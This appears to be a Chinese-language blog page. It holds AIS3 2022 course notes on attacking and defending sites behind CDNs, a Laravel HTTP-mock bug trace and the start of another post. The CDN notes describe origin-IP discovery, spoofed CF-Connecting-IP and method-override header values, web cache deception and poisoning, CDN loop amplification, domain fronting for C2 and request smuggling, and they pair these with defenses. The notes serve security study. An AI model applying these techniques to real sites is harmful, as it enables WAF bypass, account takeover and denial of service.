AIS3 2022 — CDN 技術所帶來的攻擊面向(下)

Note: 這篇是下篇,還沒看過上篇的可以先看一下再回來這篇!

1. How to Attack & Defend

1.1. Post Exploitation - CF-Connecting-IP

還有另一種常見的問題,就是取得 IP 的實作方式所產生的漏洞。由於你的網站都是 CDN 的 Server 代替使用者送出請求,那你要怎麼取得使用者真實 IP 呢?這時 CDN 通常就會在 Request Header 中塞入一個自定義的 Header 來傳遞,原理與 Proxy 的 X-Forwarded-For Header 差不多(有興趣的話,推薦延伸閱讀:如何正確的取得使用者 IP),例如 CF 就會使用 CF-Connecting-IP 這個 Header 來傳遞使用者 IP,我們就可以從這個 Header 中取得使用者的 IP。

1.1.1. Post Exploitation

在講這個攻擊方式前,我們先講一下什麼是 Post Exploitation,有人好像會翻成「後利用」或「後攻擊」,我個人不喜歡翻成中文,因為 SEO 問題,你用中文 Google 的話永遠都找不到你想要的文章 XDD,總之 Post Exploitation 就是在你攻擊成功目標後,後續進行的提權、擴散、深入、開後門之類的操作,這邊的情境就是在我們得知 IP 之後,就可以開始進行我們的 Post Exploitation 了。

1.1.2. Bypass IP Validation

OK,回到前面講的,我們現在就算躲在 CDN 後面,還是可以得到使用者的 IP,聽起來蠻好的。但,如果今天不是 CDN 告訴你這個資訊,而是一個透過前述各種方法得到你的 IP 的駭客呢?他得到你的 Server 的真實 IP 後,直接存取你的 Server,並自己偽造一個 Header: CF-Connecting-IP:127.0.0.1,這時就有機會繞過 IP 驗證直接登入後台了。

1.1.3. Defense

這邊沒有特別有效的防禦方法,基本上還是需要有一個重要的概念:「永遠不要相信使用者」,因為這個 Header 是使用者可控的,因此不能完全相信它,只能當作參考,不過還是有幾種可以減緩風險的作法:

  • 同前,白名單僅允許 CDN 的 IP,封鎖有心人士繞過 CDN 後直接存取 Server 或 Application。
  • 敏感資訊或管理系統等的存取驗證不能僅用 IP 白名單來做,最好同時使用多種驗證方式(帳號密碼、OTP 等)。

1.2. Post Exploitation - Bypass IP Deny

從前述的防禦方法,攻擊者又可以延伸出新的防禦方式,假設今天網頁使用了白名單,並只限定 CDN 的 IP 存取,這樣是否就萬無一失了呢?

1.2.1. Bypass throught Host Headr Rewrite

答案是否定的,讓我們看看以下情境:

  1. A 網站使用了 CDF 的 WAF,且白名單內只有 CDN 的 IP。
  2. B 駭客申請了一個新的 domain C,綁上 A 網站的真實 IP,並使用 CDN 代理。
  3. B 在存取 C 時 Rewrite Host Header,讓 CDN 以為它在存取 C 而不是 A,這時就不會有 WAF。

但值得注意的一點是,這個功能(Rewrite Host Headr)不是每個 CDN 業者都有提供,例如 Mico 的簡報中有寫到 Cloudflare 有此功能,但實際查證後,發現雖然有,但因為僅限 Rewirte 成自己 Dmain 下的 subdomain,因此無法執行此攻擊(可見 References 2.,Cloudflare 官方使用範例是 Rewirte 成自己所有的 S3 Bucket),因此適用性沒有前面那麼高,但依舊是一個隱患。

而提出此攻擊的作者是基於 CloudFront ,他也有釋出一個工具:cdn-proxy,可以用來執行此攻擊。

1.2.2. Defense

作者的同篇文章裡也有提到防禦方法,這邊簡單介紹,詳細一樣可以到 References 中觀看:

  1. for CloudFront,可以依照官方文件中的建議處理,在 CloudFront 中設定一個秘密的 HTTP Header,並讓 Load Balancer 只接收擁有該 Header 的 Request(另外還有 S3 Bucket 的版本),避免惡意使用者利用。
  2. for Cloudflare,一樣參考官方文件 裡面有一些建議,主要建議使用 Cloudflare TunnelAuthenticated origin pull(請注意這個驗證有三種不同的選項,Zone-Level Authenticated Origin Pull using Cloudflare certificate 是沒辦法防禦這個攻擊的)來防禦。

至於其他 CDN,雖然可能不一定有類似的功能,但基本上就是以一個概念去做防禦:「始終對 CDN 進行嚴謹的驗證」。

1.3. Web Cache Deception & Poisoning

CDN 加速的其中一種方法,就是透過 Cache 來達成的,例如使用者 A 先存取了一張圖片,這時 CDN 上沒有這張圖片的 Cache,因此會到 Server 上抓取並 Cache 在 CDN 上,這時下一個使用者存取這張圖片時,CDN 就可以直接將這張圖片傳給使用者,而不用再到 Server 去重新要一次圖片。

1.3.1. Cache Control Headers

簡單介紹一下 Cache Control Headers,主要是兩個:

  1. Vary:定義如何選擇需 Cache 的內容,例如 Server 可能會依據 User-Agent 去回傳不同的內容(例如電腦版或手機板),以及依據壓縮演算法不同也有不同的內容,這種情況就會把 Header 定義為 Vary: User-Agent, Accept-Encoding。也就是若有完全相同的 Header 的 Cache 存在時,才會取用該 Cache,否則就會去取得新的資源。
  2. Cache-Control:定義 Cache 行為,例如是否需要 Cache、Cache 有效時間、儲存在哪、是否需要跟後端驗證等等,也可以設定這個快取是否能共享給他人、或是僅能給當下的使用者使用,例如:個人帳號的頁面,你絕對不會想要這個頁面被 Cache 起來並共享給其他人吧?但一些錯誤的設定很有可能就會讓這件事情發生,因此開發者不可不慎。另外,此 Header 有個常見的誤區要注意,有些人會因為不希望內容被 Cache,就設定為 no-cache,但這個值的意義不是不設定 Cache,而是在使用 Cache 前須向後端進行驗證,如果不希望有 Cache 的話應設為 no-store

1.3.2. Default Cache Files

這邊簡單談一下預設會被 Cache 的檔案副檔名,但實際上還是要視 CDN 業者而定,不過基本上大部分的都會以以下為主:

  1. 「不會」被 Cache:HTML、PHP、ASPX 等,通常來說較為動態的網頁或資源。
  2. 「會」被 Cache:JS、CSS、JPG、MP3、MP4 等,靜態的檔案或資源。

1.3.3. Web Cache Deception Attack

當使用者訪問一個不存在的資源時,假設出現以下情境:

  1. Server 回覆了一個錯誤的頁面。
  2. 該頁面含有個人或敏感資訊。
  3. Cache Server 把該頁面當作靜態資源 Cache 起來。
  4. 該靜態資源為可被其他使用者看見的 Cache。

這時若有其他人存取了這個 Cache,就可以在未經授權的情況下竊取他人資訊。也就是惡意使用者可以把一個 http://server.com/myaccount/home/attack.css 的連結傳給受害者,這時 Cache Server 就會對該頁面建立一個 Cache,接著攻擊者也存取該連結,Cache Server 就會把該 Cache 傳給攻擊者,也就可以獲得受害者的資訊。

而除了頁面上直接可以看見的資訊外,有的甚至會包含 Session ID 或其他 Cookie 資訊等,也就是可以讓惡意使用者完全控制使用者帳戶,是十分嚴重的一個漏洞。

2017 年時,就有一個研究員針對 Paypal 實現了這個攻擊,基本上就是以上述的概念實現的,詳細可以看此篇文章了解更多。

1.3.4. Web Cache Poisoning Attack

與前一項攻擊類似,但這項攻擊是攻擊者主動去汙染 Cache,讓後續存取的使用者受到攻擊,例如某些內容可能與 Header 的值相關聯,或是圖片的 base url 是 Header 的某個值等等,這時攻擊者就可以控制 Header 來改變使用者的靜態資源,甚至進行 XSS 等攻擊。

這邊後續有非常多的進階操作,這邊我十分推薦去讀一下 PortSwigger 上的此篇文章,裡面有非常多關於 Web Cache Poisoning 的內容、說明、防禦等,十分精彩。

1.3.5. Defense

  1. 只 Cache 指定資料夾或路徑內的靜態檔案。
  2. 確實做好 Cache Rule,尤其是網站路由架構異動時,例如只有在 HTTP Header 允許時才做 Cache,可以從根本解決 Web Cache Deception 的問題。
  3. 由 Content Type 決定是否 Cache,避免 Cache 一些動態或是不該被 Cache 的資源。
  4. 禁止惡意路徑,例如 /index.php/bad.css
  5. 部署 WAF,增加惡意請求的難度。
  6. 設定 Cache Header 時注意不該誤入前述的常見錯誤,以免將私人 Cache 公開。
  7. 避免從 Header 或 Cookie 等地方獲取輸入,但通常較難預防或得知其他層面或框架等是否有使用,可以使用 Param Miner 來做簡單的檢測。
  8. 在 Cache 層對輸入做清洗或是將其加入 Cache Key 中,以防惡意使用者可以影響或是存取到他人的 Cache。(但有些 CDN 可能會把這項功能放在進階或企業用戶中)
  9. 不管網站或 CDN 是否有 Cache,需要注意部分的使用者端也會自行處理 Cache,因此切記要注意一些可以透過控制 HTTP Header 達成的 XSS 或其他 Client-side 漏洞。

1.4. Cache Poisoned Denial Of Service (CPDoS)

目前由於 DDoS 的成本越來越低,導致發生的頻率與規模越來越高,前陣子 Cloudflare 才剛發布 2600萬 requests/s 的紀錄,怕。而同樣的,攻擊者也可以透過前述的 Cache Poisoning 來達成 DoS 的攻擊。

以下三種攻擊的原理皆為讓 Cache Server 把錯誤的頁面 Cache 起來,導致正常使用者後續都只能得到該錯誤頁面,進而達到 DoS 的效果;而流量放大則是透過 CDN 大部分為流量計價的原理,用大量的流量迅速達到網站的預算上限而停止服務。

前三種攻擊的成立前提為 Server 在錯誤頁面沒有指定或錯誤地指定了 Cache 機制,導致 Cache Server 將錯誤頁面 Cache 起來,讓後續使用者無法正常存取,詳細可以看這篇文章

1.4.1. HTTP Header Oversize (HHO)

攻擊情境如下:

  1. 攻擊者傳送 Header 中含有非常長的值的 Request。
  2. Cache Server 中沒有 Cache,因此向 Server 送出 Request。
  3. Server 無法 Handle 過大的 Header,Return 500 或其他錯誤頁面。
  4. Cache Server 將 3. Cache 起來,並 Return 給 1.。
  5. 後續,一般使用者發出一般的 Request,這時 Cache Server 擁有 Cache,因此直接 Return 如同 4. 的頁面。

1.4.2. HTTP Meta Character (HMC)

攻擊情境如下:

  1. 攻擊者傳送 Header 中含有 \n\r\a 等控制字元的 Request。
  2. Cache Server 中沒有 Cache,因此向 Server 送出 Request。
  3. Server 無法 Handle 該 Header,Return 500 或其他錯誤頁面。
  4. Cache Server 將 3. Cache 起來,並 Return 給 1.。
  5. 後續,一般使用者發出一般的 Request,這時 Cache Server 擁有 Cache,因此直接 Return 如同 4. 的頁面。

1.4.3. HTTP Method Override (HMO)

有些 Proxy、Load Balancer、Firewall 等中間層會使用擋掉沒辦法或不希望收到的 HTTP Method,我們可以藉由自己在 Header 中塞入 X-HTTP-Method-Override,這時就可以繞過中間層的限制,對網站成功送出意料外的 Method,這時若對方無法處理,可能就會出現錯誤頁面,達到與前述類似的效果。

攻擊情境如下:

  1. 攻擊者傳送 Header 中 X-HTTP-Method-Override: DELETE(或其他不應該有的 Method) 的 Request。
  2. Cache Server 中沒有 Cache,因此向 Server 送出 Request。
  3. Server 無法 Handle 該 Header,Return 500 或其他錯誤頁面。
  4. Cache Server 將 3. Cache 起來,並 Return 給 1.。
  5. 後續,一般使用者發出一般的 Request,這時 Cache Server 擁有 Cache,因此直接 Return 如同 4. 的頁面。

1.4.4. Amplification Attack with CDN

DDOS 有一種很常見的方法就是流量放大,但至於如何達到就有十分多種選擇,在 CDN 上也有一些方法可以達成,不過此處主要是針對 CDN 節點本身,而不是 CDN 背後的 Server,那接下來我們就來看一下這些流量放大的攻擊技巧,不過通常目前大牌的提供商都有自行處理或緩解此類行為,不一定適用:

  1. 自身循環放大:將 Server 的 source IP 設為 CDN 節點本身 IP,就可以讓 CDN 節點進行無限循環,進而放大流量。
  2. CDN 互相映射:由於前者相當容易被防禦(只要禁止將 Source IP 設為節點 IP 即可),因此我們可以利用其他家的 CDN,透過將兩個節點的 IP 互相映射,達到循環放大的效果。
  3. 多 CDN 映射:由於兩者也容易被擋住(偵測 Source 與 Destination 相同),我們可以繼續增加防禦的難度,也就是加入不同的節點,三個、四個、甚至更多個,讓這些節點循環映射之下,不僅可以放大流量,更增加防禦的難度。

而攻擊 CDN 的節點可以有什麼效果呢?通常 CDN 的節點上會有不止一個服務,我們就可以透過阻斷該節點,達到阻斷其他網站的效果,可以利用類似 you get signal 的服務來查詢,輸入 CDN 節點 IP 來得知哪些 domain 架在此節點上:

image-20221009163723766

1.4.5. Defense

  • 選擇具有威信的 CDN 服務廠商,並確認計價行為,避免被 DDOS 時產生大量的費用或服務中斷
  • 遵循 RFC 標準開發,並對可 Cache 的狀態設白名單,避免 Cache 到錯誤頁面
  • 確保 Server 架構與 CDN 不衝突
  • 異常頁面加入 Cache-COntrol: no-store
  • 與提供商簽訂 SLA(服務水準協議),明定如 DDOS 時發生時應如何收費等,確保權益

1.5. Domain Fronting

Domain Fronting 就是可以利用修改 Host Header,來達成 Domain 與實際訪問的網站不同的效果,通常會用於在已控制的目標上想回連 C2 Server 或是回傳資訊時,發現目標限制外連的 IP,就可以透過此方法繞過限制,實務上像 Telegram、Signal、Tor 都曾經使用此方法來逃過一些封鎖,但目前 CDN 業者可能基於一些政治或其他因素,逐漸不再支援此 Feature(或 Bug XD?)。

至於為什麼可以繞過限制,則是因為我們可以透過 HTTPS 外連,這時候 Header 以及 Body 會被加密,檢查機制就無法得知 Host 的資訊。所以我們只要找到一個該目標所信任的網站 IP,就可以透過把我們的 Server 架在同一個 CDN 節點上,來達到繞過限制的效果,如下圖:

img

1.6. HTTP Desync Request Smuggling

這也是一個利用「不一致」所達成的攻擊手法,首先需要了解一下 HTTP 的持久連接(HTTP persistent connection):

img

由於可以減少延遲、使用較少資源等優點,以致 HTTP 1.1 開始預設會使用此方法,所以這個 connection 就會被重複利用,而 CDN 就會接收多個使用者的封包後,再轉送給 Server:

Reverse proxy working as intended

這個攻擊簡單來說,就是攻擊者可以謊稱自己封包的長度,讓自己的封包穿插別人的封包,或是讓別人的封包穿插到自己的封包,而成因就是 CDN 及 Server 的行為不一致。(可以看 PortSwigger 的這篇,很詳細 推推( •̀ ω •́ )✧)

1.6.1. Attack

一般封包的長度會以兩個 Header 來描述,分別是:

  1. Content-Length:舊有描述方式,用於一次傳遞整個封包時。
  2. Transfer-Encoding:HTTP 1.1 引進,可以將封包切割成多個,較有彈性。

這時可以想像以下幾種情況:

  1. 同時傳兩種會怎樣?

    這點 RFC 2616 有定義(4.4 Message Length 倒數第二段),一起傳時必須忽略 Content-Length,聽起來蠻合理的,畢竟新的優先度比較高很正常。但CDN 跟 Server 可能有不一樣的行為(總有人不照規範走😶),例如一個讀 Content-Length,一個讀 Transfer-Encoding,就會導致前面提到封包穿插的問題。

  2. 同時傳兩個一樣的會怎樣?

    RFC 2616 沒想過有這種情況🤔所以沒有標準規範的情況下,實作時就會有很大的差異空間,所以跟前面一樣,若 CDN 與 Server 取不同的 Header 也會有一樣的問題。

1.6.2. Defense

  1. 選擇會對 Header 做檢查、正規化的 CDN 提供商。
  2. 避免前後端點封包結束方式不同。
  3. 升級至 HTTP/2。
  4. 確認伺服器實作方式是否遵守 RFC 規範。

2. Summary

打完發現這篇超長,只好分兩篇了😶。在這堂課學到蠻多 CDN 攻擊的知識,很多攻擊技巧也非常酷,讓我大開眼界 XD,沒想到這些很方便的功能或是服務可以被這樣利用。雖然很多攻擊技巧都是好幾年前的,大廠牌的 CDN 提供商也大部分都已經修正了,不過有些小型或是知名度較低的廠商可能就尚未修正或是修正的不完全,所以可能就會讓攻擊者有機可趁,因此選用服務商時還是盡量選用口碑好或大廠牌的,貴是有它的道理的(?)。

3. References

  1. Bypassing CDN WAFs with alternate domain routing
  2. Using Page Rules to rewrite Host Headers - Cloudflare
  3. RSAC 2019: camouflage for the attackers’ communication channel | Kaspersky official blogRSAC 2019: camouflage for the attackers’ communication channel | Kaspersky official blog
  4. HTTP持久連接 - 維基百科,自由的百科全書 (wikipedia.org)
  5. HTTP Desync Attacks: Request Smuggling Reborn | PortSwigger Research

AIS3 2022 — CDN 技術所帶來的攻擊面向(上)

1. Introduction

距離今年 AIS3 已經結束一個月了,還都收到了第二張結業證書,一定是提醒我該開始來補坑(๑•ั็ω•็ั๑) 今年是第一次參加 AIS3,參加的感想用一句話來說的話,就是「這真的是免費可以參加的嗎」(X),講師都是各路業界大神,真的是一個非常棒的經驗,也很感謝所有籌辦的教授、工作人員等,他們多年來的努力耕耘,讓台灣的資安界能越來越好 (´▽`)

這系列文章預計會分享一些網頁安全或是我比較感興趣的課程,不僅希望可以幫助一些也有興趣的同好,也希望透過筆記讓自己能夠溫故知新(趁自己還沒忘記之前)

第一篇讓我直接跳到第二天的上午課程,是由 Mico 帶來的「CDN 技術所帶來的攻擊面向」,這篇會介紹 CDN 以及相關的攻擊議題,由於這堂課內容太豐富了,所以會分成兩篇。另外,這是我第一次聽 Mico 講課,不得不稱讚一下口條蠻好的,而且內容也十分淺顯易懂,人還很有趣,大推👍

完稿後補充:結果中間太忙,打完上跟下兩篇已經是課程結束後兩個月了XDD,不過這篇太長了,多花點時間也應該是可以接受的(吧?

2. CDN Introduction

CDN 的全名是 Content Delivery Network,中文通常翻成「內容傳遞網路」,由於現在十分普及,所以不管是藍隊或是紅隊,都需要對它有一定的了解。

而 CDN 是什麼呢?顧名思義就是傳遞內容的網路,而這些「內容」通常就是音樂、圖片、影片這些靜態檔案,這個網路可以高效的把這些內容傳給使用者,而至於為什麼這個網路可以做到高效,就是透過部署大量的節點在各地,當使用者想要存取「內容」時,就會讓離使用者最近的節點(或是最快)來提供,而不是從原始提供者的伺服器,聽起來可能很模糊,讓我們看張圖:

CDN meme

不對,是這張:

CDN vs single server(source: wikipedia)

左邊為單一節點模式(Single Server),右邊就是 CDN 的模式,因此 CDN 最直觀的價值就是讓連上你網站的使用者可以快速的得到他們想要的內容,而網站回應速度同時影響到 SEO、UX 等,也可以降低總體成本、防禦部分攻擊,所以可說是十分重要的,以下簡單比較一下雙方:

2.1. Single Server

  • 單一伺服器:伺服器僅有一個,流量乘載上限即為該骨幹的上限。
  • 「無」離線快取能力:當伺服器無法正常運作時,使用者就無法存取。
  • 防禦成本高:需自行建置防禦系統,就算能自行建置安全且高可用性的系統,其極限也不高(例如:DDOS 攻擊,就算 Server 可以處理流量,但骨幹可能無法承受)。
  • 流量浪費:在正常的網站瀏覽中,絕大多數的流量都是為了處理靜態資源,這樣重複存取靜態資源會造成大量的流量浪費。

2.2. CDN

  • 全球的近端伺服器:伺服器分佈於全球(實際取決於 CDN 業者),流量會分散給各地的伺服器承擔。
  • 「有」離線快取能力:就算主伺服器無法存取,但各地的節點可以繼續提供快取的資源。
  • 防禦成本較低:由於使用者會先存取節點,而不是主伺服器,因此 CDN 業者可以統一在平台端部署防禦機制(WAF 或流量清洗等機制),相較起來防禦效果較好,成本也較低。
  • 快取重用:由於靜態資源會先被快取,因此可以達到加速且節省流量的效果。
  • 隱藏真實 IP:由於 CDN 可以將使用者流量轉送到實際的主機,因此 domain 只需將 CDN 業者的 IP 暴露在外即可,可以減少受攻擊可能性。
  • 瀏覽加速:若 CDN 擁有可用的快取時,可以直接回傳給使用者;若沒有快取時,會由 CDN 去原始 Server 查詢,再由 CDN 返回給使用者,而由於通常 CDN 業者的頻寬、吞吐量、速度等網路環境都一定比使用者來得優秀,因此這時就算內容沒有快取,只要是透過 CDN 去拿到的資料還是會比使用者直連 Server 來得快速,就彷彿你請了個奧運國手代替你跑腿(?)。
  • 異地備援:當其中一個節點故障時,

3. How to Attack & Defend

簡介完了 CDN,看起來很棒對吧?可以加速又可以防禦,那是不是託管給 CDN 就萬無一失了呢?當然沒有這麼好的事情,接下來我們會看一些打法,以及相對應的防禦措施:

3.1. Find Real IP

剛剛提到可以隱藏真實 IP,就是為了減少遭受被攻擊的可能性,因此反過來說,只要我們找到原始 IP,就可以直接 bypass WAF 攻擊其 Server,因此這章節會探討如何找到真實 IP:

3.1.1. If it using CDN?

首先第一步,先確認這個網站是否正在使用 CDN:

  • A Record:可以用 Whois 之類的方法(或 Windows 的 nslookup、Linux 的 dig 等指令)從 domain 找到 A Record 對應的 IP,再把 IP 丟到 Whois 就可以查到該 IP 為 CDN 業者或是私人所擁有的。
  • Multi ping:由於 CDN 的特性,我們從不同地區存取同一個 domain 會被導到不同的伺服器,我們也可以反過來利用這個特性來測試,可以簡單地用一些線上工具做到(e.g. Ping Test)。如下圖,可以看到我們從不同地區所發出的 ping 所得到的 IP 會是不一樣的。
    Multi ping
  • /cdn-cgi/trace(Cloudflare only):在目標網站存取 /cdn-cgi/trace,若目標網站為使用 CF 的話,會有一個資訊頁面,例如:https://www.cloudflare.com/cdn-cgi/trace
  • Parse Error:利用 URL encoding 的方式造成頁面噴錯,這時有機會看到 CF 的錯誤頁面,例如:正常情況下網址可能為 http://target.com/%20,若我們輸入 http://target.com/%,就可能讓 Web Server 解析時,以為這個編碼還沒結束,導致解析錯誤而噴出 5XX 的錯誤。

3.1.2. Find IP

3.1.2.1. 工具或服務
  • 字典檔掃描:有時網站會有一些 subdomain,而有可能因為成本考量,subdomain 並沒有託管在 CDN 上,而 subdomain 的 IP 可能會是與目標相近的 Server(甚至同一台),因此我們可以先用字典檔掃出 subdomain 再用旁敲側擊的方式攻入。可以利用一些別人寫好的腳本,例如 Knockpy 或是下面的 Sublist3r。
  • DNS 歷史紀錄:DNS 紀錄有時可以找到一些蛛絲馬跡,例如一開始可能是直接綁主機 IP,後來才綁在 CDN 上,我們一樣可以用一些線上工具掃出來,例如:VirusTotal
  • X509v3 Subject Alternative Name(X509v3 SAN):一種公鑰證書的擴充標準,總之可以在憑證裡面填寫一些備用名稱,包括 Email、IP、URI、DNS 等,所以在記錄裡面有機會看到 IP,一樣有線上工具:crt.sh
    x509v3 SAN(source: wikipedia)
  • BuiltWith:這個服務可以查詢一些網站的各項資訊,其中有一個地方可以查到 IP 的歷史紀錄,如下圖所示。
    BuiltWith
  • CloudFlair:一個用 SSL 證書的資訊去尋找網站 IP 的 python 工具。(CF only)
  • theHarvester:一個強大的 OSINT python 工具,可以收集 name、email、IP、subdomain、URL 等多項資訊。
  • Other OSINT search engine:一些常見的特徵搜尋引擎也可以用來找蛛絲馬跡,例如:ZoomEye、FOFA、SHODAN 等,可以利用 CDN 的一些特徵 header 去做搜尋。
  • Sublist3r:一個用來掃描 subdomain 的 python 工具。
  • dnsdumpster:一個用來掃描 domain 資訊的服務,會用圖表的方式方便觀看。
  • CrimeFlare:一個用來找 CF 背後的 IP 的資訊的工具。
3.1.2.2. 功能探測

網站中有時會有一些外部的服務,例如連結預覽,這些功能就會讓伺服器對外部發出 Reqeust,也就表示你可以在自己的網站上收到來自對方 Server 的 Request,也就是可以拿到對方 IP;另外,如果對方有寄信(忘記密碼?)的功能,也有可能對方會使用同一個 Server 當作 Mail Server 去寄送信件,也可以從此得到一些資訊。

3.1.2.3. 其他
  • 針對客服或後台 XSS
  • Webshell

3.1.3. Defense

IP 被揭露後,乍看不會有什麼嚴重的危害,但這的確是攻擊的第一步,所以能夠好好隱藏起來的話,確實可以降低風險,以下列出一些防禦建議:

  • 白名單僅允許 CDN 的 IP(CDN IP 為公開的,因此就算被得知 IP,白名單擋住外界還是可以降低風險)。
  • Subdomain 或其他服務(無 CDN 的)的 IP 最好與欲防禦的主機 IP 差距夠大,以防對方得知旁站的 IP 後,只需要掃描相鄰的 IP 即可找到目標 IP。
  • 用第三方服務或平台取代部分功能,避免洩漏過多伺服器資訊給有心人士。
  • 使用新的 IP 綁 CDN,避免被有心人士從 DNS 紀錄中找到蛛絲馬跡。

4. Summary

這篇先簡單介紹了 CDN 的原理,以及如何使用一些簡單的工具、服務來確認、尋找隱藏在 CDN 背後的 Server IP,下一篇就會聚焦在實際攻擊及防禦的各種手法,有興趣的請移駕下篇👍

Laravel HTTP Mock Domain Case-Sensitive Problem

Introduction

簡單記錄一下之前在開發某個產品時踩到的雷,不過因為之後打算修正這個問題再發 PR,所以這邊就先用中文筆記一下問題,之前弄好的話再用英文寫一篇詳細的。

而這個雷就如同標題所述,是個 HTTP 這個 Facade 中的 mock function 的問題,會導致 mock 失效,害我當初卡超久 (;´д`)ゞ

Problem

總之,問題是這樣的,東西寫完總要寫測試,寫完測試也都一切安好,但某天同事密我:「欸,我跑測試掛了,你那邊有這問題ㄇ」,於是開始檢查,看起來是串接外部 service 的測試掛了,但近期明明沒有改到那部分的 code,這就神奇了,開始追查原因,發現原因是即使 HTTP mock 了,他還是會直接打到外部服務,也就是 mock 失效。

而在找了快一天後,發現是第三方提供的 service 網址的 domain 含有大寫(例如:https://Google.com),而 Laravel mock 網址時,會 mock 完全一樣的網址,也就是含大寫的網址,但,HTTP facade 送出 request 時,domain 會轉成小寫,猜測是為了符合 RFC 1035 的規範。而這個不一致就導致了我 mock 的網址與實際送出的網址不符,才導致失效。

範例 code,我們先 mock Google.com,再 assert 他應為 404,但由於前述的問題,他會連上真實的 google.com,而不是我們自己 mock 的,這邊的測試會是 failed 的:

1
2
3
4
Http::fake([
'Google.com' => Http::response('Hello World2', 404),
]);
$this->get('google.com')->assertNotFound();

而為了確認 domain 的確是大小寫不敏感,也就是 https://Google.com 等同於 https://google.com,我去翻了 RFC 1035 的白皮書,確認他裡面的定義,引述一下內容:

Note that while upper and lower case letters are allowed in domain
names, no significance is attached to the case. That is, two names with
the same spelling but different case are to be treated as if identical.

Code Trace

後來 Trace 了一下底層的 Code,由於 mock 的部分看起來是沒有對大小寫處理,因此這邊就先不探討,只研究 Http send request 的部分,而 Laravel 這邊底層的實作是使用 psr7,所以我去翻了他的 source code,看到他的確有把 uri 中 host 的部分由大寫轉小寫,這邊實際 trace 一次:

首先,我們簡單帶過前面的部分,只有最底層的 psr7 會講比較仔細(因為前面用 IDE trace 一下就有了XD)。

這邊以 post() 為例:
vendor\laravel\framework\src\Illuminate\Http\Client\PendingRequest.php#659

1
2
3
4
5
6
public function post(string $url, $data = [])
{
return $this->send('POST', $url, [
$this->bodyFormat => $data,
]);
}

send
vendor\laravel\framework\src\Illuminate\Http\Client\PendingRequest.php#737

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public function send(string $method, string $url, array $options = [])
{
if (! Str::startsWith($url, ['http://', 'https://'])) {
$url = ltrim(rtrim($this->baseUrl, '/').'/'.ltrim($url, '/'), '/');
}

$options = $this->parseHttpOptions($options);

[$this->pendingBody, $this->pendingFiles] = [null, []];

if ($this->async) {
return $this->makePromise($method, $url, $options);
}

$shouldRetry = null;

return retry($this->tries ?? 1, function ($attempt) use ($method, $url, $options, &$shouldRetry) {
try {
return tap(new Response($this->sendRequest($method, $url, $options)), function ($response) use ($attempt, &$shouldRetry) {
......

sendRequest
vendor\laravel\framework\src\Illuminate\Http\Client\PendingRequest.php#874

這邊他會視是否同步呼叫不同的 function,我們先追 request 就好,可以看到 $this->buildClient() 的 type 為 \GuzzleHttp\Client,所以我們繼續追。

1
2
3
4
5
6
7
8
9
10
11
12
13
protected function sendRequest(string $method, string $url, array $options = [])
{
$clientMethod = $this->async ? 'requestAsync' : 'request';

$laravelData = $this->parseRequestData($method, $url, $options);

return $this->buildClient()->$clientMethod($method, $url, $this->mergeOptions([
'laravel_data' => $laravelData,
'on_stats' => function ($transferStats) {
$this->transferStats = $transferStats;
},
], $options));
}

request
vendor\guzzlehttp\guzzle\src\Client.php#184

1
2
3
4
5
public function request(string $method, $uri = '', array $options = []): ResponseInterface
{
$options[RequestOptions::SYNCHRONOUS] = true;
return $this->requestAsync($method, $uri, $options)->wait();
}

requestAsync
vendor\guzzlehttp\guzzle\src\Client.php#152

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public function requestAsync(string $method, $uri = '', array $options = []): PromiseInterface
{
$options = $this->prepareDefaults($options);
// Remove request modifying parameter because it can be done up-front.
$headers = $options['headers'] ?? [];
$body = $options['body'] ?? null;
$version = $options['version'] ?? '1.1';
// Merge the URI into the base URI.
$uri = $this->buildUri(Psr7\Utils::uriFor($uri), $options);
if (\is_array($body)) {
throw $this->invalidBody();
}
$request = new Psr7\Request($method, $uri, $headers, $body, $version);
// Remove the option so that they are not doubly-applied.
unset($options['headers'], $options['body'], $options['version']);

return $this->transfer($request, $options);
}

uriFor
vendor\guzzlehttp\psr7\src\Utils.php#400

1
2
3
4
5
6
7
8
9
10
11
12
public static function uriFor($uri): UriInterface
{
if ($uri instanceof UriInterface) {
return $uri;
}

if (is_string($uri)) {
return new Uri($uri);
}

throw new \InvalidArgumentException('URI must be a string or UriInterface');
}

再來,我們進到 psr7 的部分:

vendor\guzzlehttp\psr7\src\Uri.php#80 中可以看到 Uri 這個 class 的 __consturct() 的正常流程中,呼叫了 applyParts()

1
2
3
4
5
6
7
8
9
10
public function __construct(string $uri = '')
{
if ($uri !== '') {
$parts = self::parse($uri);
if ($parts === false) {
throw new MalformedUriException("Unable to parse URI: $uri");
}
$this->applyParts($parts);
}
}

vendor\guzzlehttp\psr7\src\Uri.php#538
追進去,可以看到若有 host 時,會呼叫 filterHost()

1
2
3
4
5
6
7
8
9
10
11
12
private function applyParts(array $parts): void
{
$this->scheme = isset($parts['scheme'])
? $this->filterScheme($parts['scheme'])
: '';
$this->userInfo = isset($parts['user'])
? $this->filterUserInfoComponent($parts['user'])
: '';
$this->host = isset($parts['host'])
? $this->filterHost($parts['host'])
: '';
......

vendor\guzzlehttp\psr7\src\Uri.php#605
再追進去就可以看到他實作了大寫轉小寫的部分:

1
2
3
4
5
6
7
8
private function filterHost($host): string
{
if (!is_string($host)) {
throw new \InvalidArgumentException('Host must be a string');
}

return \strtr($host, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz');
}

vendor\guzzlehttp\psr7\src\Uri.php#573
而除了 URI 的 Host 部分,可以看到 Scheme 的部分也有作一樣的事情,所以這部分也需要注意:

1
2
3
4
5
6
7
8
private function filterScheme($scheme): string
{
if (!is_string($scheme)) {
throw new \InvalidArgumentException('Scheme must be a string');
}

return \strtr($scheme, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz');
}

Summary

所以看起來問題是存在的,預計會找個有空的時間把這東西修好發個 PR 到 Laravel 那邊,目前初步想法是看能不能將 mock 的網址中的 Host 及 Scheme 部分一樣實作大寫轉小寫,或與官方討論一下看能怎麼處理。

總之這邊就簡單筆記一下,希望可以幫助一樣踩到這個坑的人,也希望我有時間去研究一下怎麼補起來 XD

這裡可以看到,「inconsistent」常常是 bug 或是漏洞的成因,因此我們自己在開發或是 review 時,也可以重點朝這方面去注意,可以避免一些淺在的問題。

AIS3 課程中所發現的 Zeroday RCE 問題

Introduction

這篇文章是為了記錄一下 AIS3 期間的學習歷程,至於這篇由於偏筆記,而且沒什麼特別的成果,所以就用中文稍微紀錄一下而已😂。

